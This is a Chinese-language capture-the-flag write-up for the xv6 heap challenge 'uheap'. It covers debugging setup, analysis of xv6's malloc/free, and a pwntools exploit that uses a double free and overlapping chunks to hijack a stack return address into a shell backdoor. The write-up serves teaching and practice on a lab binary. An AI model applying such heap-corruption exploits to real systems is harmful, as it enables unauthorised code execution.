附件:https://github.com/Qanux/uheap 这是一道133nson
师兄出的题(太强啦),看了后只能说自己的见识还是太少了。 这一道是xv6
系统的堆题,附件已经给出了一个完整的qemu
环境,只要输入./run.sh
即可启动程序 题目有一个hint
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 This challenge is running on the xv6 system. (Attention: its heap allocator is different from GLIBC) You can get the xv6 source files on https://github.com/mit-pdos/xv6-riscv You can run this challenge locally using the command './run.sh' and your goal is to PWN the binary chal To make things simple, the binary file is compiled with debug_info and I have left its source code in chal.c. This means you can use qemu and gdb-multiarch(or other debuggers) for source level debugging if necessary. (You just need to add '-S -gdb tcp::26000' to the qemu parameter in the file run.sh then you can start gdb for local debugging) Here are some useful gdb commands. You can write them in the file .gdbinit and start gdb with the command 'gdb-multiarch -x .gdbinit' target remote:26000 set architecture riscv:rv64 file chal set disassemble-next-line on layout src If you have any problem about the remote environment, please contact the admin. Have fun!
由于elf
文件是附带调试信息编译的,这大大方便了我们进行动态调试
如何调试 相信很多萌新还不知道怎么进行调试,这里就进行傻瓜式教学 首先在github
上面下载umalloc.c
文件(hint
文件上写明了),然后将该文件放入在和chal
同一个路径下 然后将run.sh
文件中的内容进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 # !/bin/bash LD_LIBRARY_PATH=./depend exec ./qemu-system-riscv64 \ -machine virt \ -bios none \ -kernel kernel \ -m 256M \ -smp 3 \ -nographic \ -drive file=fs.img,if=none,format=raw,id=x0 \ -device virtio-blk-device,drive=x0,bus=virtio-mmio-bus.0 \ -monitor /dev/null \ -S -gdb tcp::26000
此时通过./run.sh
来启动,然后再重新打开另外一个终端,进入到chal
文件的路径下,通过gdb-multiarch
,然后依次输入下面的命令
1 2 3 4 5 6 7 target remote:26000 set architecture riscv:rv64 file chal set disassemble-next-line on layout src b main c
此时即可进行调试,不过我们不能向平时一样通过bin
、stack
这些指令来查看堆内存(其实我也不知道怎么看,请求大佬指教),不过x/16gx
这一些基础的指令还是可以使用
xv6堆管理分析 首先来看看xv6
中的堆块长什么样
1 2 3 4 5 6 7 8 9 typedef long Align;union header { struct { union header *ptr ; uint size; } s; Align x; };
可以看到堆块的结构和我们平时glibc
中的不一样,他没有prev_size
,取而代之的是堆块的指针,我们可以猜到这个指针因该和我们的fd
指针类似(储存在free
后的链表中的下一个free
的堆块的堆头的位置) umalloc.c(https://github.com/mit-pdos/xv6-riscv )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 #include "kernel/types.h" #include "kernel/stat.h" #include "user/user.h" #include "kernel/param.h" typedef long Align;union header { struct { union header *ptr ; uint size; } s; Align x; }; typedef union header Header ;static Header base;static Header *freep;void free (void *ap) { Header *bp, *p; bp = (Header*)ap - 1 ; for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break ; if (bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if (p + p->s.size == bp){ p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; } static Header*morecore (uint nu) { char *p; Header *hp; if (nu < 4096 ) nu = 4096 ; p = sbrk(nu * sizeof (Header)); if (p == (char *)-1 ) return 0 ; hp = (Header*)p; hp->s.size = nu; free ((void *)(hp + 1 )); return freep; } void *malloc (uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof (Header) - 1 )/sizeof (Header) + 1 ; if ((prevp = freep) == 0 ){ base.s.ptr = freep = prevp = &base; base.s.size = 0 ; } for (p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if (p->s.size >= nunits){ if (p->s.size == nunits) prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; p += p->s.size; p->s.size = nunits; } freep = prevp; return (void *)(p + 1 ); } if (p == freep) if ((p = morecore(nunits)) == 0 ) return 0 ; } }
我们侧重看一下堆块大小的计算
1 nunits = (nbytes + sizeof (Header) - 1 )/sizeof (Header) + 1 ;
大概就是原本的堆块大小减一加上一个堆头结构的大小后除以堆头的大小再向上取整(比如申请0x19
大小的堆块计算出的size
为3
,申请0x30
的堆块计算出的size
为4
)
malloc函数 在malloc
函数中,先根据申请的堆块计算出相应的堆块大小,若free
链表的表头为0
(free
链表尚未初始化,则会将静态全局变量base
的地址赋值给free
的表头指针freep
)。然后会从prevp->s.ptr
(表头后的第一个堆块指针)开始顺着s.ptr
遍历free
链表,若遇到比待申请的堆块大小大的堆块,则会直接切分该堆块,将前一部分返回,后一部分留在链表内;若遇到size
刚好符合需求的,则将其脱链后直接返回;若遍历完整个链表仍未遇到可以进行分配的free
堆块,则会调用morecore
函数向系统申请更多的内存。
free函数 在free
函数中,会先遍历free
链表,若途中遇到待释放的堆块地址处于链表中的两个free
堆块之间的话,则会提前退出,否则等待链表被遍历完一轮之后退出(实际上该链表为一个单向循环链表)。然后检查该堆块是否有前/后向相邻的free
堆块,若有则进行前/后向合并,若无则将其直接插入到free
链表中。
题目分析 查看保护机制
1 2 3 4 5 6 7 8 9 or4nge@圈圈:/mnt/d/desktop/uheap$ checksec chal [!] Did not find any GOT entries [*] '/mnt/d/desktop/uheap/chal' Arch: riscv64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x0) RWX: Has RWX segments
只开启的NX enabled
(133nson
:“送分题”) 出题人比较友好,直接给出了题目源码 chal.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 #include "kernel/types.h" #include "kernel/stat.h" #include "user/user.h" char *arr[4 ];void *record;int chance = 1 ;void banner () { printf (" __\n" ); printf (" __ __/ /_ ___ ____ _____\n" ); printf (" / / / / __ \\/ _ \\/ __ `/ __ \\\n" ); printf ("/ /_/ / / / / __/ /_/ / /_/ /\n" ); printf ("\\__,_/_/ /_/\\___/\\__,_/ .___/\n" ); printf (" /_/\n" ); } void menu () { printf ("1. add\n" ); printf ("2. delete\n" ); printf ("3. ???\n" ); } void readline (char *buf, int size) { int i; for (i = 0 ; i < size; i++) { read(1 , &buf[i], 1 ); if (buf[i] == '\x0a' ){ buf[i] = '\x00' ; break ; } } } void add () { int size; printf ("size: " ); scanf ("%d" , &size); if (size < 0 || size > 0x50 ) return ; int idx; for (idx = 0 ; idx < 4 ; idx++) if (arr[idx] == 0 ) break ; if (idx == 4 ) return ; arr[idx] = malloc (size); printf ("content: " ); readline(arr[idx], size); } void delete () { int idx; printf ("index: " ); scanf ("%d" , &idx); if (idx >= 0 && idx < 4 ) { if (arr[idx]) { free (arr[idx]); if (chance) record = arr[idx]; arr[idx] = 0 ; } } } void backdoor () { char *argv[] = {"sh" , 0 }; exec("sh" , argv); } void gift () { if (chance) { if (record) free (record); record = 0 ; chance = 0 ; } } int main () { banner(); int choice; while (1 ) { menu(); scanf ("%d" , &choice); switch (choice) { case 1 : add(); break ; case 2 : delete(); break ; case 3 : gift(); break ; } } }
题目给出的backdoor
,而且gitf
函数则是直接送了一次double free
但是我们不能直接double free
,主要有两个原因:
1 2 3 for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break ;
如果直接double free
会直接在这里进入死循环
ptr
指针在heap
的头部前8
个字节,直接double free
并不能对起做任何修改
所以可以选择叠堆后造成堆溢出才有机会修改ptr
指针
因为这里的堆块合并条件非常简单,所以造堆叠也很简单,先free
两个相邻的堆块让他们合并(下文称这两个堆块中低地址的堆块为a
,高地址的为b
),合并后表头freep
变为刚刚释放的a
,然后double free
堆块b
,这个时候因为表头是a
,所以第一次循环就满足 if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
的条件退出循环,这时又因为b
与之前a
不相邻(合并后堆块a
的size
已被修改为合并后的大小),所以不会触发合并,而是将b
直接链入链表。现在只需要将a
申请出来,就可以堆叠到b
进行非法写入修改free
链表上堆块b
的s.ptr
。因为之前合并的时候freep
被赋值为了堆块a
,而malloc
遍历是从freep->s.ptr
开始遍历的,为了简化利用模型,可以再free
一个低于以上两个且不相邻的堆块来更新freep
,将freep->s.ptr
变成堆块a
,然后下次malloc
的时候就会从a
开始遍历。这时申请出size
为a+b
堆块就可以把之前的a
申请出来,利用堆叠写b->s.ptr
为目标地址addr
,再连续分配两次(先要把b
给申请出来),malloc
就会尝试将addr
分配出去,这时如果addr
合法(地址合法且size
符合要求)就会返回addr
,到这一步就完成了容易地址分配 至于分配到哪,因为程序是静态链接的,没got
表可打,没动态库中的hook
和glibc
中的经典io
可打,也没什么现成的函数指针可以利用。所以考虑分配到栈上劫持返回地址到后门,因为系统没有ASLR
功能(其实出题人出到一半看到了一篇xv6
实现ASLR
功能的论文,但因为时间比较仓促所以没有把ASLR
加上了,也算是变相降低了难度吧),可以通过调试找到固定的栈帧地址来劫持add
函数的返回地址。最后就是因为malloc
函数中要size
满足要求才能将目标地址addr
分配出去,所以这里可以考虑利用add
函数的局部栈上变量size
和idx
来构造合法的size
将addr
分配出去,这里用的是idx
(idx
最后为3
,可以通过 malloc(0x20)
分配)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *p = process('./run.sh' ) def menu (choice ): p.sendlineafter('3. ???\n' , str (choice)) def add (size, content ): menu(1 ) p.sendlineafter('size: ' , str (size)) p.sendlineafter('content: ' , content) def delete (idx ): menu(2 ) p.sendlineafter('index: ' , str (idx)) def gift (): menu(3 ) add(0x20 , 'a' ) add(0x20 , 'a' ) add(0x20 , 'a' ) add(0x20 , 'a' ) delete(1 ) delete(0 ) gift() delete(3 ) add(0x50 , b'a' * 0x20 + p64(0x3fa4 )) add(0x20 , 'a' ) add(0x20 , b'a' * 4 + p64(0x2da )) p.interactive()